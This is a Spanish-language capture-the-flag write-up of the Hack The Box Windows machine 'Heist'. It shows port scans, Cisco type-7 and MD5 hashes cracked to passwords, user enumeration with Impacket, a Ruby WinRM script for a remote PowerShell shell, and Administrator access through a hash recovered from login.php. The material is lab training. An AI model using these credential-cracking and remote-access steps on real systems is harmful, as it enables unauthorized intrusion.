Inicialmente se muestra un fichero en la pagina web el cual contiene credenciales cisco encriptadas, con ellas pudimos enumerar algunos usuarios con Impacket y con WinRM obtener acceso. Enumerando los archivos de la pagina inicial encontramos el hash del Adminstrador el cual crackeamos y obtuvimos acceso privilegiado.
Nombre |
Heist |
OS |
Windows |
Puntos |
20 |
Dificultad |
Facil |
IP |
10.10.10.149 |
Maker |
MinatoTW |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[7.8, 7.2, 4.4, 5.6, 2.8],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[6, 9, 3, 7, 1],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
MASSCAN & NMAP
Escaneo de puertos tcp/udp con masscan y nmap.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
root@kali:~/htb/heist# masscan -p1-65535,U:1-65535 10.10.10.149 --rate=1000 -e tun0
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-08-21 06:23:36 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 49668/tcp on 10.10.10.149
Discovered open port 445/tcp on 10.10.10.149
Discovered open port 135/tcp on 10.10.10.149
Discovered open port 5985/tcp on 10.10.10.149
Discovered open port 80/tcp on 10.10.10.149
# Nmap 7.70 scan initiated Wed Aug 21 02:32:58 2019 as: nmap -sC -sV -p 49668,445,135,5985,80 -o nmap.scan 10.10.10.149
Nmap scan report for 10.10.10.149
Host is up (0.39s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49668/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 32s, deviation: 0s, median: 32s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-08-21 02:34:36
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 21 02:34:42 2019 -- 1 IP address (1 host up) scanned in 103.97 seconds
|
HTTP - PUERTO 80
Al visitar este puerto nos muestra un panel de inicio de sesion de una plataforma.
Iniciamos sesion como invitado (Login as guest) y nos redirige a una nueva pagina issues.php
en la cual contiene un chat
de un cliente que muestra los errores que tuvo con su router cisco y una lista de errores dentro de un archivo.
Archivo:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0Â mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ssh
|
Encontramos dentro del archivo usuarios y contraseñas:
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
La primera contraseña la crackeamos con hashcat:
1
|
stealth1agent:$1$pdQG$o8nrSzsGXeaduXrjlvKc91
|
Las dos ultimas utilizamos un script que nos devuelve el valor del hash, este hash es de tipo 7 de Cisco:
1
2
|
$uperP@ssword:0242114B0E143F015F5D1E161713
Q4)sJu\Y8qz*A3?d:02375012182C1A1D751618034F36415408
|
SMBMAP
Ahora que tenemos usuairos y contraseñas intentamos listar sharenames, con el unico usuario con el cual nos dejó fue con el usuario hazard.
IMPACKET - LOOKUPSID
Utilizamos el script lookupsid.py de impacket para poder obtener los usuarios o grupo de usuarios dentro de la maquina.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
root@kali:~/htb/heist/evil-winrm# lookupsid.py hazard:stealth1agent@10.10.10.149
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation
[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
|
CREDENCIALES
hazard:stealth1agent
rout3r:$uperP@ssword
admin:Q4)sJu\Y8qz*A3?d
chase:Q4)sJu\Y8qz*A3?d
jason:
support:
CHASE - USER
Dentro de los puertos abiertos que encontramos vemos que winrm (5985) esta abierto, utilizamos las credenciales y usuarios que encontramos para intentar logearnos mediante este puerto.
Utilizamos un script en ruby con la libreria winrm para poder ejecutar comandos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
require 'winrm'
conn = WinRM::Connection.new(
endpoint: 'http://10.10.10.149:5985/wsman',
user: 'chase',
password: 'Q4)sJu\Y8qz*A3?d',
)
command=""
conn.shell(:powershell) do |shell|
until command == "exit\n" do
print "PS > "
command = gets
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end
puts "Exiting with code #{output.exitcode}"
end
|
Podemos ejecutar comandos en la maquina y obtenemos nuestra bandera user.txt.
PRIVILEGE ESCALATION
Estando dentro de la maquina buscamos archivos en los cuales pudiesen haber contraseñas, principalmente los archivos que se utilizan en la plataforma/inicio de sesion de la pagina que contiene la maquina. Encontramos que, dentro del archivo login.php
hay una condicion con dos usuarios que pueden logearse: guest y admin
.
login.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php
session_start();
if( isset($_REQUEST['login']) && !empty($_REQUEST['login_username']) && !empty($_REQUEST['login_password'])) {
if( $_REQUEST['login_username'] === 'admin@support.htb' && hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') {
$_SESSION['admin'] = "valid";
header('Location: issues.php');
}
else
header('Location: errorpage.php');
}
else if( isset($_GET['guest']) ) {
if( $_GET['guest'] === 'true' ) {
$_SESSION['guest'] = "valid";
header('Location: issues.php');
}
}
?>
|
Utilizamos la paigna de md5decrypt para verificar si existe esta contraseña dentro de la pagina:
admin@support.htb:91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040
admin@support.htb:4dD!5}x/re8]FBuZ
Verificamos mediante samba que el usuario es administrator y, si este tiene permisos.
Confirmamos que es el usuario y contraseña de administrator, utilizamos nuevamente el script para winrm con las credenciales.
Obtenemos una shell y nuestra bandera root.txt.